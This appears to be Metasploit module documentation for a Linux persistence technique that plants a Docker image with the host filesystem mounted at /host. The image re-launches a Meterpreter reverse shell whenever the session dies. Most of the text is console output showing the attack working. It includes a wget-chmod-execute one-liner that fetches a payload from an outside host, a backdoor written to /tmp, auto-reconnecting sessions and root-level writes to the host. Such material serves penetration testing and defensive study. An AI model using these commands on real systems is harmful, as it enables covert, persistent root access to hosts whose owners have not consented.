## Vulnerable Application

This module maintains persistence on a host by creating a docker image which runs our
payload, and has access to the host's file system (/host in the container). Whenever the
container restarts, the payload will run, or when the payload dies the executable
will run again after a delay. This will allow for writing back
into the host through cron entries, ssh keys, or other method.

Verified on Ubuntu 22.04.

## Verification Steps

1. Start `msfconsole`
2. Get a Meterpreter session
3. `use exploit/linux/persistence/docker_image`
4. `set SESSION [SESSION]`
5. `run`
6. You should get a new session from within the docker image with `/host` mounted from `/` on the host.

## Options

### SLEEP

How many seconds the docker image should wait before checking if the session has died and trying to re-establish it.
Default is `600`

## Scenarios

### Ubuntu 22.04

Get a meterpreter session

```
[*] Processing /root/.msf4/msfconsole.rc for ERB directives.
resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
lhost => 1.1.1.1
resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set target 7
target => 7
resource (/root/.msf4/msfconsole.rc)> set srvport 8082
srvport => 8082
resource (/root/.msf4/msfconsole.rc)> set uripath l
uripath => l
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set lport 4446
lport => 4446
resource (/root/.msf4/msfconsole.rc)> run
[*] Starting persistent handler(s)...
[*] Started reverse TCP handler on 1.1.1.1:4446 
[*] Using URL: http://1.1.1.1:8082/l
[*] Server started.
[*] Run the following command on the target machine:
wget -qO bLEZJjLj --no-check-certificate http://1.1.1.1:8082/l; chmod +x bLEZJjLj; ./bLEZJjLj& disown
msf exploit(multi/script/web_delivery) > 
[*] 2.2.2.2     web_delivery - Delivering Payload (250 bytes)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:4446 -> 2.2.2.2:49368) at 2025-09-10 09:06:24 -0400
```

Install Persistence

```
msf exploit(multi/script/web_delivery) > use exploit/linux/persistence/docker_image 
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(linux/persistence/docker_image) > set session 1
session => 1
msf exploit(linux/persistence/docker_image) > check
[!] Payloads in /tmp will only last until reboot, you may want to choose elsewhere.
[*] Checking Docker availability and permissions...
[*] The service is running, but could not be validated. docker app is installed and accessible
msf exploit(linux/persistence/docker_image) > set payload linux/x64/meterpreter/reverse_tcp 
payload => linux/x64/meterpreter/reverse_tcp
msf exploit(linux/persistence/docker_image) > run
[*] Exploit running as background job 2.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 1.1.1.1:4444 
msf exploit(linux/persistence/docker_image) > [*] Running automatic check ("set AutoCheck false" to disable)
[!] Payloads in /tmp will only last until reboot, you may want to choose elsewhere.
[*] Checking Docker availability and permissions...
[!] The service is running, but could not be validated. docker app is installed and accessible
[*] Writing backdoor to /tmp//DoEVqOGSMX
[*] Writing '/tmp//DoEVqOGSMX' (250 bytes) ...
[*] Temporary container created: 3e7ce0d939e06035a34a9c00a83529631838c278de745edf8ef906ca4b04127b
[+] Persistent image created: alpine_fslaxxlv
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 2.2.2.2
[+] Container started with internal entrypoint: 0793ddcdab86a68dfa27ce265411550d9bce5c29b183890e4984d01137e741c6
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:47480) at 2025-09-10 09:11:32 -0400
[*] Stopping and removing temp container
[*] Payload installed and running with 600-second loop in container
[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/2.2.2.2_20250910.1144/2.2.2.2_20250910.1144.rc
```

Show the running docker container

```
msf exploit(linux/persistence/docker_image) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell
Process 16004 created.
Channel 21 created.
docker ps
CONTAINER ID   IMAGE             COMMAND            CREATED          STATUS          PORTS     NAMES
0793ddcdab86   alpine_fslaxxlv   "/entrypoint.sh"   50 seconds ago   Up 49 seconds             great_cannon

exit
meterpreter > background
[*] Backgrounding session 1...
```

Kill meterpreter to show it restart automatically

```
msf exploit(linux/persistence/docker_image) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > exit
[*] Shutting down session: 2

[*] 2.2.2.2 - Meterpreter session 2 closed.  Reason: Died
msf exploit(linux/persistence/docker_image) >
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 2.2.2.2
[*] Meterpreter session 3 opened (1.1.1.1:4444 -> 2.2.2.2:56490) at 2025-09-10 09:21:32 -0400
```

Show access to the host's OS.

```
msf exploit(linux/persistence/docker_image) > sessions -i 3
[*] Starting interaction with 3...

meterpreter > cat /etc/os-release
NAME="Alpine Linux"
ID=alpine
VERSION_ID=3.22.1
PRETTY_NAME="Alpine Linux v3.22"
HOME_URL="https://alpinelinux.org/"
BUG_REPORT_URL="https://gitlab.alpinelinux.org/alpine/aports/-/issues"
meterpreter > cat /host/etc/os-release
PRETTY_NAME="Ubuntu 22.04.1 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.1 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy
meterpreter > shell
Process 19 created.
Channel 3 created.
touch /host/root/pwnd
ls -lah /host/root/pwnd
-rw-r--r--    1 root     root           0 Sep 10 17:02 /host/root/pwnd
```